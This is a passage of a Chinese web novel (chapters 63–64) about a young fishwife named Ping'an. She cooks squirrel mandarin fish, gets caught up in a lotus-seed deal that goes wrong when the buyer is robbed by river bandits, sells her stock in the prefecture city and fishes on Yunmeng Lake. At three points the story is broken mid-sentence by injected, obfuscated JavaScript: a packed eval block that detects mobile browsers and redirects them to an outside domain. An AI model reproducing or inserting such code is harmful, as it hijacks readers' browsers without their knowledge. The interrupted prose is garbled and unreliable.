将中间鱼骨斩断剔出，两侧的鱼肉则斜切出菱形花刀，轻轻提起，便可看到片片颤立如骨刺的嫩红鱼肉。 如此，一条松鼠鳜鱼的原材料便已备好，只需回去裹粉油炸、芡汁便可上桌。 曹伯看得是连连叫好：“我就知你会做，不枉我等你好几天。” 平安也知自己最近在档口来得少，忙出声解释：“最近家中事忙，有些招待不周的地方劳烦您见谅了。” “不碍事，不碍事，我看杨郎君也算踏实本分。”曹伯摆摆手，提着包好的鱼肉笑呵呵给钱走人。 而被档口客人陆续提及的杨郎君，平安从巳初等到午时初，也没见到他人影。 今日的鱼早已卖完，虾饼与鱼丸更是畅销，平安将档口收拾干净，眼见着外边行人愈发稀少，可只去了趟码头的木头却久久未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方才还得意洋洋的木头明显出现瞬间的怔愣，他音调降低，语气也带着莫名的心虚：“没有了，我就在街上随便逛了逛，看了看热闹。” 看他这副做贼心虚的模样，平安轻轻嗯了一声，随即望着眼前荡漾的碧波不再吱声。 今日帮曹伯处理了那鳜鱼，平安便也萌生了自己吃上一条的想法。 回家后，让木头处理好莲子的善后事宜，平安回到灶房处理鳜鱼。 将鱼肉片好，鱼鳍插至鱼头两侧，鱼口中塞入小截青瓜立定。 把干豆粉与蛋黄混合至无颗粒，均匀地抹在新鲜片好的鳜鱼肉上，平安又提起鱼肉在豆粉中小心抖落，务必使得每一片鱼□□隙之中都均匀裹满淀粉。 菱形的花刀在细腻的豆粉作用下很快化为深深的沟壑，连带着中间的肉片，也变得饱满又立体。 待油热，平安拎着鱼尾沿锅边小心下入鱼肉。 待鱼肉炸制定型，则可顺带将摆好造型的鱼头下油锅烹炸。 做这道松鼠鳜鱼，除了刀工与火候的把控，糖醋酱汁的调制也是极为重要的部分。 锅中留少许油，下蒜末爆香，舀上一勺甜酱、一勺香醋、再入酱油、少许白糖快速搅拌化开。 出锅前，再入一碗芡汁勾芡挂酱，撒上少许葱花装饰，便可将酱汁均匀淋上鳜鱼。 时间紧迫，至于其他的菜，平安也只得做些简单易处理的。 爷爷今日早已将雍菜摘好，平安快速敲蛋搅匀，做出道香软蓬松的蛋皮汤，剩下的雍菜平安则打算做道爽口些的凉拌雍菜杆。 夏季里青菜都长得快，一两日不吃，茎叶都容易变老。 将雍菜再度过水冲洗干净，取上头的嫩杆入沸水中汆熟，捞出放凉备用。 雍菜杆中下入葱花、蒜末、香油、酱汁翻拌，再滴上些许辣油，一盆香辣脆爽的凉拌雍菜杆便做成。 剩下的雍菜叶更好处理，直接就着剩下的油汤汆熟，吃起来软嫩清香，照样可口。至于那些摘下的老叶子也不会浪费，直接往后院一扔，家中鸡鸭正愁吃食。 63. 杀鱼的第六十三天 木头也不知在汉云做了什么，这会吃起饭来是狼吞虎咽，连饱嗝都给噎了出来。 “慢点吃，别着急。”平安递了杯水给他。 “嘿嘿。”木头抬眸瞄了她一眼，随即又低头干饭。 这会平安也没有心思揣测他到底做了些什么，家中还有一大堆事等着她来决策。 一家人匆匆用完午膳，便又开始忙于莲子大业。 莲子的收购已经接近尾声，周边荷塘的莲子已被村民们陆续采空，这两日送上门来的多是别村村民。 为着莲子的安危着想，平安这些日子严厉控制着灰灰与小白的活动范围，家中晒莲子的簸箕也架得高高的。 或是用竹架撑起，或是晒在屋顶，房前屋后，皆摆满了盛满白莲的簸箕。 若是有风吹过，吹得圆溜溜的莲子在光滑的簸箕内轻轻晃动，清脆又和缓的摩挲声在院中齐鸣，鼻间还依稀可嗅得隐隐的清新莲香。 不过两只狗也十分懂事，自从平安当着它们的面点了点莲子，它们也就不再靠近，反而把这些莲子当成家中财产，尽职尽责开始守护起来，除了家里人，谁靠近也不成。 平安核对起早上的账本与莲子数量，心中只盼望着接下来的事情能够顺顺利利。 这样，等所有的货清掉，她扣掉所有成本，也能赚上十来贯。 也是老天赏脸，最近天气一直晴好，好到许多浅水的沟壑都干涸，不少土地都已干枯开裂。 这越到后头，莲子就越熟，粉质也越充分，晒起来两三日便可晒得干干的。 这一批莲子的交付出乎平安的顺利，可面对莫老板提出的包圆要求，平安心中心动又害怕。 “怎样，胡娘子，最近几日莲子可越来越少，我给你加到二十二文，你不许把货给其他人。” “可。”平安尚未说完，他便开口打断，“哎！” “莲子不够，你便去周边多收收，可别怪我老莫没提醒你，最近这生意红火，许多人都看在眼里，你万事小心。” 果不其然，等平安喊上两个还算老实的堂哥去其他村镇收莲时，亦碰见不少人在走街串巷收货，价格只高不低，难怪最近送上门的莲子越来越少。 平安瞬间明白那增加的两文钱是用在了何处，看来，州府的市场比她想象中的还要广阔。 码头纤夫们的闲聊，村人的议论，还有那些游商前后态度的变化，这些场景突然在平安脑海中走马观花似地闪过。与此同时，她心中霎时萌生了一个胆大的想法。 现在荷塘中开花的莲花愈发稀少，这几日，或许就是她最后收莲的机会。 她今日，能收多少，一定要收下多少，即使压上所有身家。 让平安没想到的是，她想通了，可那些村民却远不如之前配合。 今日在村里遇到的人可不如上门送莲的村人好说话，他们要求现结，平安也只得同意现结现了。 为着以防万一，她又去镇上买上好些冰块放在屋中给莲子降温，怕的就是莲子出水后变色变味。 两百斤、三百斤、五百斤，平安与莫老板的生意做得越来越大。 等到最后清货的时机，平安将家中所有存货盘点称重，大概还余下一千斤，而她手上的现钱也因为存货压进去大半。 到了约定交货这日，平安也难得地将档口关门，喊着木头便直往汉云码头而去。 眼见着烈日从江面高悬天中，四周的河风也裹挟着空气中燥热的气息，吹得人满是燥意。两人站在河边等了半晌，却迟迟不见莫老板的身影。 他这人虽有些商人的市侩精明，可多日接触下来他也算说到做到，货款更是从未拖欠。 今日，是发生了什么？ “娘子。”木头率先按捺不住，他拉了拉平安的衣袖，“你在这守着船，我先去上面找找？” 平安回神，盯着木头眉心看了一眼：“好，你注意安全。” 看着木头修长的背影消失在人群中，平安方沉默地收回视线。 早在前几日，那些收货的游商就少见踪影，这会她更是连个问话的人都找不到，只得耐心在船上候着消息。 平安便这样从早上等到中午，木头这人也是个不靠谱的，找个人找不到，别把自己弄丢了才好。 就在她犹豫是否要请个人帮她买几个饼充饥之际，木头朝着河边快速跑来。 “娘子！” 鼻间传来的熟悉气味让平安脑中的弦瞬间紧绷，她的目光慢慢将木头从头扫到脚，尤其在他脸颊颈部着重观察。 听得平安鼻间传来的哼笑声，木头低声问道：“娘子你笑什么？” “笑码头上有条跛脚野猫嘴角都是鱼血，偷吃小鱼也不晓得擦干净嘴，也不怕被卖鱼的屠夫发现打死。” 木头讪讪望天，随即搓手讨好笑道：“娘子可真会开玩笑，猫儿又没手，怎么会擦嘴。” “只要有脚，做什么都有可能。” “嘿嘿，娘子你说话可真深奥。”他从怀中掏出两个油纸包好的饼，“饿了吧，我刚买的，可香了。” “算你识趣。”平安不再抓着不放，她一把接过油纸包，滚烫的温度透过薄薄的油纸传递至手心，看来的确是刚买不久。 将纸皮掀开，里面赫然是一个金黄酥脆的金丝肉饼。内陷如何暂且不知，可这外皮两面皆是细腻规整的金丝花纹，模样属实精致。 尚未品尝，那股浓郁的荤香与独特的油香便霸道地涌入鼻间，直接将她肚中馋虫勾起。 咬上一口，饼皮酥酥脆脆，一口掉渣，里面却是细腻绵软，再配合饼皮上蘸上的咸香酱汁，这丰富的口感，瞬间惊艳平安的味蕾。 夯实绵软的饼馕也的确是个饱腹解馋的首选，再入口，便是饼皮与肉酱的碰撞，口感丰富饼皮与香到迷糊的肉沫一起入口，更显肉质细腻香浓。 若是想单独品尝这里边的肉馅，吃起来那也是一口爆汁，酱香与油香兼具。 是张好饼，但这肉显然不是猪肉，木头这家伙可真舍得。 “怎样？”木头将最后一口饼咽下，挑眉笑问。 “味道不错。” “我就知娘子会喜欢，那些。”他咳了咳，收音道，“那些档口生意可都没这卖饼的好，我看许多人都在买，我也想给娘子买来尝尝。” “有心了。” 就在两人低声絮语之际，船蓬却被人敲响。 平安快步走到船头望去，却是“老熟人”齐鸣。 “胡娘子。”他一上来就开门见山，“若不是我家下人道在这见到你，我竟不知你今日遇着了麻烦。” 木头此时也从船篷内走出，见得齐鸣身量颀长，气度斐然，他霎时挺直胸膛，亲昵地拉着平安并肩而立。 齐鸣眼神微闪，只看向平安问道：“这是？” “这是我夫君。” 齐鸣朝木头轻轻颔首：“有礼。”随即又望向平安，“你可是在等那个叫莫老三的游商？” “你怎知道？” “我知道他在哪，只是他情况好似有些不妙。” “在哪？” 齐鸣却不直接回答，只扬了扬下巴：“你这船上这么多莲子得先送回家或是找人看顾着，一时半会可见不到那人。” 平安望了眼莲子，又看向木头，却见他喉结上下耸动，眸中满是不虞。 “你跟我一起走，咱们找人帮忙照看下莲子。”她拉住木头的手，温声安抚。 她这样一说，木头反倒不乐意了：“找谁照顾能有自己照顾安心，我只是担心娘子。”说罢，他抬眸睨了齐鸣一眼，其意指何人不言而喻。 “好，那你在这等我，我去去就回。” 说是去去就回，可平安不知却还要乘船往州府方向而去。 她转身望向齐鸣，他却仿佛知晓她的意思，率先开口：“他在大河遇着了水匪，听说是被驻守的厢军救下，这会怕是在通判手里。” 去，还是不去？ 扪心自问，平安并未有多相信齐鸣，可若论害怕，倒也不至于。 她笑了笑，从腰间取出层层包裹住的几块碎银，伸手递给齐鸣：“之前说好的给你的分红，可找了你好多次都没找到，只得一直随身携带，今日碰见你了正好。” 望着她手心晦暗的白银，齐鸣有一瞬间的呆愣，随即甩了甩手中的折扇：“你这娘子可真有意思。” “请收下。” “若我说不呢？” 平安手心微拢，就要将手缩回，可手心却突然腾空。 “既然如此，那我就收下了。”齐鸣畅笑出声，倾身靠近。 平安点头道谢，不动声色地拉开与他的距离。 能打听到陌生游商的消息，还能知道她在等谁，齐鸣这人非富即贵，对她而言，也实在是有些恐怖。 这样的人她招惹不起，远离是最好的办法。 几人行船半晌，又上岸行路一炷香，终于在一个医馆找到了莫老三的踪迹。 他这会的状态属实说不上好，衣衫褴褛不说，露在外边的肌肤则多是淤痕与青紫。 “胡娘子？”他眼睛骤然瞪圆，不可置信地扒着床边唤道。 “莫老板。” 平安此话一出，莫老三匆忙以袖掩面：“今日是我失信了，对不住。” 一路上平安早已将他近日遭遇摸透，他在州府与县镇之间来回倒卖莲子之事被人看在眼里，这不，趁着近日收莲到了尾声，那些人便勾结水匪，将他船上的钱与货物都一扫而空。 最让人为难的是，那些水匪还没抓到，可他已是身无分文，别说这医馆垫付的药钱，就连吃饭与回家的盘缠都凑不齐。 说到伤心处，莫老三眼眶蓄满热泪，一直垂首不敢抬头。 多的平安也帮不了，她数了数自己身上的现钱，取出一把铜子和小块碎银给他。 “胡娘子，这。”莫老三有些为难，伸出的手停滞半空，进退两难。 他从没想过会是这个精明的小娘子最先给他照拂，之前两人在商言商，他心中不是没有想过这娘子难缠，可这会她对他好，他反倒不好意思起来。 “收着吧，相识一场，总归不能让你徒步回到家乡。” “哎！” 齐鸣见状，亦在一旁插话道：“既然胡娘子如此大度，那我也代表咱们州。”他顿了顿，“的商会，送上一份心意。”说着便随手掏出一块碎银，郑重按到莫老三手中。 朝齐鸣再三道谢后，莫老三为难看向齐鸣：“郎君，我有些话想单独和胡娘子说。” 齐鸣盯了他片刻，随即轻笑一声转身离开。 等四周只剩平安与莫老三两人，他方低声道：“胡娘子，你的恩情我莫老三这会是无法报答了。” 他吸了吸鼻子，抬头与她对视：“你若愿意信我，你就自己带着莲子去州府长兴街找钱家百货，他们家的价格收得很高，这中间的差价绝对值得人跑一趟。” “只是，这路途艰险。” “我明白，多谢你的好意。” “你若是去，到那里就只管报我莫老三的名号。” 与齐鸣回到汉云码头时，时间已然到了申时。 仿佛是察觉平安的不自在，一路上，齐鸣并未过多刺探她的个人生活，只是遇着路上的风景，他便适时出声介绍一番。 今日他表现得不可谓不儒雅风度，与平安往日里对他的印象大相径庭。 可他越是这样，平安心中对他越是防备。 谁家好人知道这娘子是有妇之夫还这么热情地上赶着，当然，她自认自己也不是什么冰清忠贞的好人，对于他的示好与帮助，她只能给钱加多说几句好话，别的却不能再多。 “今日劳烦您帮助，小小心意还请莫要推辞。” 平安瞧着齐鸣本欲拒绝，可他突然之间却又变了声调：“也行，胡娘子今日钱没赚到，尽当散财娘子了。” 平安转身望去，原是木头已从船舱出来，正伸长了脖子往这边瞧。 “小心你这夫君。”齐鸣留下一句似是而非的话后便扬长而去。 平安面上只做不察，照样笑着与木头招呼。 外人都能发现的东西，她能不知道吗？ 只是现在不是打破砂锅问到底的好时机，将家中的莲子卖出去才是她现下所想。 “咱们买点菜先回家。”至于莲子，档口她也不敢放，还是带回家最安全。 “嗯嗯。”木头拉紧她的手，连声应好。 胡水生看着两人又偷偷将莲子抬回家中，满是担忧地问道：“安安，外边可是出了什么问题？” 平安忙应声安抚：“爷爷，没什么大事，是收货的老板有点事情，要我们明日送到州府去。” “这么远。” “也不是很远，爷爷，你别担心，有人会接应我们的。” “要不你们就在镇上散卖算了？”胡水生还是不大放心，边走边回头劝诫。 木头推着他进了屋：“哎，爷爷，你放心吧，我们今日去看了，那地方离得不远，人也很多，送完莲子我们就回。” 胡水生看了倔驴似的两人一眼，只得长叹一声，垂首坐好。 虽然在爷爷面前木头佯装镇定，可他回房听到平安要一个人去州府时，却倏地站起身来：“我不同意。” “怎么了，你去帮我守档口，我卖完东西就回。” 木头闻言活似被踩了尾巴的猫，他用力甩袖，在床边来回踱步：“娘子，你一人出去，我不放心。” “好啦。”平安挽住他的手，将他拉在身边坐下，“咱们大半身价都压在这些莲子身上了，莫老板同我说了，他之前的货就是销给那人，想来应该不会有太大风险。” “娘子！” “更何况，我也算走南闯北多年，对州府也比你熟悉，你安心，在外定然会小心谨慎行事的。” “那姓齐的呢？” “什么？”平安下意识反问，待她反应过来，她才意识到他说的是齐鸣，他倒好，她还未问他今日上午去做什么了，他还好意思吃这干醋。 “齐鸣？” “他自然在他家，关我什么事？” “哼。”木头不悦哼声。 “好了。”平安拍了拍他的手，“你若是要单独出去，我才要担心你被外边的野花迷了眼，把你束在档口，有方娘子她们替我看着你我才安心。” “外面那些庸脂俗粉。”木头瞬间脱口而出，随即又似想到什么，他讪笑应道，“都不敌娘子半根手指。” “怎么？”平安捏了捏他耳朵，“说的好似你看过多少野花一般？老实交代” “哪有？”木头歪头否认，只是他的身体却比嘴更实诚，不过片刻他便坐立难安，甩开平安的手，就要朝着门外走。 看着他这突如其来神来一笔，平安一时间真有些难以摸清他到底想做什么？ 可他转了半圈，只是走到墙边拿起挂好的衣裳，犹疑片刻后又将衣服放好返回。 “哎哟，娘子，你就放心吧。”木头走回床前，讨好地揽住平安的腰。 “我早已与齐鸣说清我与他无任何可能，只要咱们还是夫妻，我就不会做对不起你的事，也会与他们保持距离。同理。”平安扣住木头后脑，笃然道，“你也一样。若是让我知道你有什么小心思，可别怪我不留情面。” 木头一向会顺杆爬，有了平安的示好，他嘴中好话连连，两人暂且将此话题掀过，便一心讨论着明日的分工。 翌日，两人早早起床准备今日的干粮。 平安敲上三个鸡蛋，搅合成均匀的金黄蛋液，而后往蛋液中加水稀释，使之呈鹅黄色泽。再将面粉与少许豆粉慢慢筛入蛋液盆中，把两者混合，慢慢搅拌至均匀无颗粒的浓稠状态。 做这饼，无甚秘诀，一是将粉糊中的干团全部搅散搅匀，做出来的面饼才会柔韧细腻，二便是要薄油小火。 将鹅黄的粉糊一分为二，一半撒入葱花、细盐、茴香粉，另一半则加入糖拌匀。 灶中留小火，将铁锅烧热。 锅中抹上一层薄油，下入面糊。鹅黄的面糊遇热瞬间粘附在铁锅之上，平安立马提锅摇晃转圈，使面糊在锅中流动，直至摊出平整光滑的饼皮。 待饼皮定型，周边泛起细密的气泡，平安立即颠锅，金黄的饼皮在空中一个颠转，方才还在底面的金黄饼皮瞬间呈现在眼前。 见着锅中热气蒸腾，平安掂量好时间，快速拎起锅把将饼皮滑至盆中。 摊好的鸡蛋面饼外薄里厚，吃起来软糯细腻，边缘的饼皮微焦酥脆，又兼具淡淡的锅巴焦香，回味中，依稀还可品得蛋黄的余香。 甜的鸡蛋饼可以直接吃，可咸的，平安却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873459|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想做些配菜包住一起吃。 木头这会早已将肉剁成肉沫，平安往里边撒上一把豆粉，加上些许酱油腌制揉捏，直至感觉肉沫搅打上劲便可停手。 锅中下入油、蒜末与肉沫一同煸香，待肉沫中的油脂香味完全析出，则入鲊芋头丝一同颠锅翻炒。 不多时，肉香、窖香与蒜香同时飘出，在空气中馥和成独属于肉沫鲊芋头丝的绝美菜香。 芋头丝与肉酱虽皆口感粉糯，但两者结合却不显干腻，反而可在舌尖形成一股特别的香糯回甘。 一家人心思各异地用完朝食，平安留上一些饼、菜包起收好，便挑着担子与木头挥别爷爷。 两人走到堤边，木头方后知后觉想起：“娘子，这么重的莲子，我们两个人都要抬上几回才能上船，等你到那边可如何是好，还是我陪你一起去吧？” “你莫担忧，莫老板同我说了，那码头附近有他相熟的伙夫，到时候出些铜子请人帮忙挑到街上就成。” “那也成。”木头见她早有决策，只得讷讷应好。 他们这艘船算不上大，这会这样多的负重压下，船身吃水顿时比往常要深上一尺，稍不注意，船身就得歪歪斜斜，吃进一些水。 “这一段我来划，娘子你等会那么辛苦。”说着说着，木头语气又低落下来。 “好，没事的，我吃得消。”平安拍了拍他的肩，替他擦了擦脸颊的汗，心中只觉得他可怜又可爱。这才忙活这么点活，就累得出了大汗，他要是能顺利到州府她跟他姓。 在木头的龟速行船之下，两人到玉溪镇码头花了快半个时辰。 平安仰头望了眼天光，心中只得庆幸自己出门早，要是真交给他，怕不是半路翻船迷路，就得天黑才能找到地方。 临了，他还不放心地再三嘱咐：“娘子，你可要注意安全，今日若是来不及回来，你就找个大客栈住一晚，晚上河里什么也看不清，可太危险了。” “我明白，家中辛苦你照顾。” 等他一步三回头的背影消失，平安便快速发力，方才还沉重不堪的小船，这会却行得稳当又顺利。 就着河面太阳撒上的金辉，平安看着不少鱼儿偷偷潜在水面透气，只可惜她现在的当务之急是保护好莲子，不然她高低要撒上几网，这才对得住这行程的艰辛。 要去州府，除了走陆路转到到州府的干流慈江再走水路，也只有从大河入云梦泽，再从云梦泽进入慈江入州府这条路可走。 等来到大河，离云梦泽越近，平安就越发谨慎。除了担心之前的鳄鱼，让莫老板掉了一层皮的水匪亦是她需要再三注意的危险。 尤其是那段滩涂水域，河流湍急不说，河湾拐角之处遍布一丈多高的芦苇水草。 那些茂密的青纱帐，便是这些危险来源的天然掩护体。 再加之两岸人烟荒芜，环境清幽，毫不夸张地说，便是一声布谷声叫，都能让她的心提到嗓子眼。 在密密麻麻的高大芦苇荡中穿行，饶是往常让人悦目舒心的绿色，这会也变得威压深沉又可怖。 平安屏气凝神，手下动作不敢有丝毫轻忽，等她穿过那片密布的绿色丛林，眼前映入一片无际的银色水浪时，她这才顿时惊觉，自己后背已然出了一身冷汗。 她已经许久未曾来云梦湖了，若不是知晓这是大湖，她真的曾怀疑过这里是不是传说中的大海。 一样的广阔无垠，一样的波澜壮阔。 目之所及，便是浩浩汤汤的流水与粼粼的波光，随意一个浪花打来，她的小船便有些颠簸不定。 感受着耳边呼啸不止的呜呜风声，这一刻，她觉得自己身处这个广阔的大湖之中，与一只弱小的麻雀无异。 深吸一口气，平安抬头看了眼太阳的方向，便继续行船。 过了一会，湖面陆续出现了许多船只。 有渔人独立舟头在湖中撒网，也有不少过路的商船与官船，上面还有不少人站在船头，正远眺静赏着这震人心魄的湖光水色。 平安望了眼那些高杆厚舱的大船，心中满是羡慕，何年何月她也能买上一艘大船呢。 她摇摇头，随即凭着记忆埋头赶路。 若想去到慈江，至少得行船大几十里，更何况这云梦湖中风浪甚大，饶是平安力气大，却也得歇上片刻，用上带来的干粮，这才在下午寻到了州府的码头。 比之汉云码头，这里繁华程度不知要高上几何，玉溪镇那更不用提，对比这儿，就是乡下。 河堤两岸高楼林立，翘檐飞角，装潢用料皆是上品。 虽然平安也不知他们的门窗柱子用的是何等材质，但那精美的花纹，那深沉的色泽她瞧着就一眼贵。 码头边更是停满了她碰不起的各色大船，她寻个泊靠的位置便寻了半天。 不少在河边等活的人见着有船靠岸，都是一拥而上，她还尚未开口，那边便有人热情问道：“小娘子可要请人挑物，十文钱走两里路。” 看着他们干瘦的面庞，平安慢吞吞开口：“可有重量限制？” “小娘子这话说的，咱便是干的这重活，当然是能挑多少就是多少。”说罢，还怕平安不信，他们一个个当场就要拎起麻袋，给她试试力气。 “好，来五个人吧，我这有些货，需要送到长兴街钱家。” “可是钱家百货？” “哎，让让，让让！”听得有人霸道出声，那些力工瞬间往旁边退去。 “正是！”平安隔着人群应道，她的目光却不由自主地落在这些喊路之人身上。 这些人虽是奴仆打扮，可各个衣着锦缎，的确不是他们普通百姓能够招惹得起的人。 等人散去，力工们这才上前小心解释：“他们家每日货物进进出出，咱们路都熟。” 说罢，也不需平安提供扁担，他们喊上几个人，自己拿着担子和绳子，快速将麻袋勾在担子两头。 “这钱？”平安问道。 “到了再结，咱还怕你这小娘子跑路不成。”说罢，他们摆了摆手，哈哈大笑起来。 在码头嘈杂的环境中，平安却清楚地听得他们爽朗的笑声，一时间，她也不由跟着轻笑出声。 一行人走走停停，光是为了避开那些权贵的家仆和马车，他们就停了好几回。 这州府尚且权贵如云，不知那传闻中金翠耀目，罗绮飘香的汴京，该是何等繁华盛景。 思及此，平安心中不由心生憧憬。 待看到眼前停下等她的力工，平安便瞬间回归现实，罢了，她这辈子要是能混到州府那也算是巅峰了。 做人，还是不要太为难自己。 “到了，小娘子。” “好。”平安回神，将事先备好的钱递出。 可那些人却还没有走，见平安看来，他们解释道：“咱们一向都是等货物送到买主手中才走人，要不然你一人也不好照看。” 待轮到平安拜访，听她说明来意，这钱家掌柜的也很是利落。 将她的这些货称完重倒入大缸中检查无误，便一手交钱一手交货。 “下次若还是有新鲜干莲子或是其它鲜货，咱们钱家照收。” 他的手在算盘上飞速拨动：“一共九百七十二斤，你这是上等莲子，便给你按二十九文一斤计，共给你银钱二十八贯一百八十八文。” “哟，倒是个吉利数。”他笑着取出秤杆，问平安，“要铜钱还是银钱。” “您给我二十八贯折成银子，剩下的散钱给铜钱就是。” “好。”那掌柜的不时往称上添上碎银，等到后边，许是对不上数，他又取了块银子切开，将秤杆递给平安检查，这才将这银子包起递给了她。 “签个名，咱们要留档查勘备用。” 直到从钱家铺子出来，平安仍有种大梦初醒的不真实感。 她算是明白，为何莫老板他们有多少就收多少莲子，他又为何会被人盯上了。 这利润确实非常可观，若是她，她怕是也忍不住，想收一千斤，一万斤。 这会申时已过，再回玉溪镇显然不是优选。 手握重金，平安心中忐忑又兴奋。 她在周边绕了两圈，见身后并无可疑尾巴，这才放心折返码头看了眼自己渔船。 她得先去找个安全的落脚处，再好好打听打听州府现在的市场行情。 64. 杀鱼的第六十四天 州府不愧是州府，就连这落脚的客栈都比别处贵。 怕遇着黑店，偏僻小店平安不敢去，只得在街边寻了个中规中矩的店。 饶是选了个窄小的中房，也花了她一百多文一晚。 昨日她在州府逛了半晌，也算大致将这边的一些常用物价摸清。除了一些米面价格与镇上接近，州府的衣食住行，样样皆比镇上要贵。 州府虽临河而立，但却少有种植莲藕的池塘。再加之这边多高官官眷与富庶商户，像是燕窝、桃胶、皂米、莲子之类滋阴养颜的补品，价格自然就节节高攀。 早起时，除了客栈内设的灶房可提供餐食，客栈周边的巷边档口亦陆续生气袅袅炊烟，吸引着早起觅食的行人。 平安见着一条名为玉兰巷的巷口支起了许多小方桌，不少本地食客光膀坦坐于街边畅饮阔谈，便心生好奇，驻足观察。 这开在狭窄巷口的小店，早上的生意竟好到铺内装不下客人，这下，平安终究按捺不住心中好奇，跟在队伍后边排队。 待轮到平安，她听着伙计热情抱上一串菜名，只选择点了一碗卤肉片拌凉面。 这面色泽微黄，根根分明，是早已煮熟放凉，只待拌上蒜水、料水和酱汁便可享用。 只见那人左手端面，右手执勺，勺尖快速从身前的调料碟中飞掠，顷刻间各色搭配得宜的酱料便落至面上，他刷刷几下搅动，那闻着香浓的酱汁很快便均匀裹满面条。 最后撒上一把芫荽碎拌匀，面上再铺上几片切得厚薄均匀的干卤肉片，一碗清爽香浓的凉面便到了平安手上。 挑上一筷入口，一股馥郁的香味便伴随着劲道的面条在舌尖绽放。虽香味浓郁，可却不显腻味，细品之下，既有蒜香，又兼具香料的醇香与酱汁的咸香。 铺在上面的肉片，有着淡淡的卤香，吃起来无功无过，但加上吸满酱汁的面筋与清脆爽口的青瓜丝，口感则更为清爽丰富。 平安瞧着，他店里还做早酒，除了粉面之外，另有各色炒菜蒸菜钵子供周匝市民赶早，这碗面在其中不过再普通不过，能做到这个地步，属实不易。 几口将面吃完入腹，平安另买了一块猪肝、两个油饼包好，便收拾好随身行囊往码头而去。 这会天色尚早，她要找机会在大河与云梦湖中再捞上几回。 待平安赶到码头，这会早已船来船往，见到自家的小船安然地停泊在原地，平安暗松口气，轻跃上船检查船身。 看渔网、船桨、撑杆、捞网都在，平安这才彻底放下心来，她收起船锚，用竹竿轻轻点向岸边，小船便轻松离岸数米。 这会码头附近不时有大船停泊靠岸，为着安危着想，平安便直往对岸驶去，待离这些船数十米，她方往云梦泽而去。 这里船只活动频繁，就算有鱼也不会多，还是得寻个僻静处许个好兆头。 行船半晌，日光渐盛。 平安寻了个水静的河湾处抛饵打窝，在波光粼粼的水面上撒下今日的第一网。 渔网触水而落，平静的水面顿时泛起点点波澜。 站在船头等待片刻，待见得渔网范围内不时冒出气泡，平安当即抽动网绳，将渔网收紧拽拉上船。 这一网无功无过，里边是常见的几尾鲫鱼和翘嘴。 能有收获就算好，平安也不挑。 如此鸟枪换炮，走一段撒下几网，平安也终于赶到了云梦湖。 慈江河宽百丈，水流比洛江更巨，江面更是江风簌簌，可一至云梦湖，便觉之前的风声那都是小儿科。 待入了湖中，目之所及皆是无边无际的银白水域。因着四周皆是平原，无遮无挡，北边来的一阵小风，到了这寥阔的水面也得卷成大浪。这会只轻轻一个浪拍下，平安便觉一股巨风朝自己大力袭来。直吹得她耳边嗡嗡作响，一下没喘过气来。 这夏日的凉风尚且如此凶猛，不知冬日的寒风是何等凛冽刺骨。 平安稳住心神，眼神不住在湖面逡巡，只求寻得个好落脚的撒网点。 将船锚丢下，平安择了个离岸百米的点落网。 这里风平浪静，水面还漂浮着些菱角与水草，想来应有些鱼虾在此处聚集。 平安环顾四周，将渔网撒下。 不多时，水面再度出现动静，手中网绳也受重滑动，平安当即将渔网收拢提起。 云梦湖果真无愧于它富饶丰产的好名声，这一网满满当当，收获颇丰。平安提起渔网沥水，这才在甲板上将渔网解开。 这里边除了些草鱼鲤鱼鲫鱼之外，就只有几条肥硕的花白黑鱼。 平安将一条活蹦乱跳的黑鱼扯开，嘿，它嘴里竟还叼着一条银白的小鱼。 她扯住鱼尾掰出一看，这小鱼身躯细长，色泽银亮，模样与那针咀鱼十分相似，只可惜鱼头已被黑鱼咬掉，难以分辨出它真容。 再往下翻，果然，底下还有密密麻麻一兜的银色小鱼，那身躯细长如管，鱼嘴更是尖细如针，这不是针咀鱼是什么。 可别看这鱼身形修长，个头不大，可它是妥妥的肉食鱼类，性情也是格外凶猛。 只可惜今日遇着了体积更大的凶猛黑鱼，还遇到了她的渔网，也算是这网针咀鱼今日流年不利。 平安将这些鱼儿分好类，她这才发现，刚刚她以为的草鱼那哪是普通的草鱼，这鱼眼睑上围有一圈月牙状红斑，鱼身每片鳞片后边亦带黑斑，模样虽与草鱼相似，可它却不是草鱼。 这是赤眼鳟，价格可比普通草鱼要贵上许多。 云梦湖果真是云梦湖，随意一网都比大河里要来得值钱。 就在平安犹豫是否要在原地再捞上一网，余光却瞥见不远处的湖面突起巴掌大的漩涡。 不好，平安见状，当即将锚提起，拾桨飞速逃离。 这漩涡看着小，可力道却不容轻视。 一旦人或者船被卷入漩涡中心，运气好那还能游出，运气不好则会被这股力量搅碎扯入水底。 若是遇上雨季的洪涝，那碰上的漩涡则更要警惕，往往杀人于无形的偏偏是最不起眼之物。 有时候与人斗其乐无穷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915951|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可真正见识过自然的恐怖威压后，平安只觉与天斗，那是自寻死路。 待远离漩涡，平安擦了擦额间的汗，这才继续往前驶去。 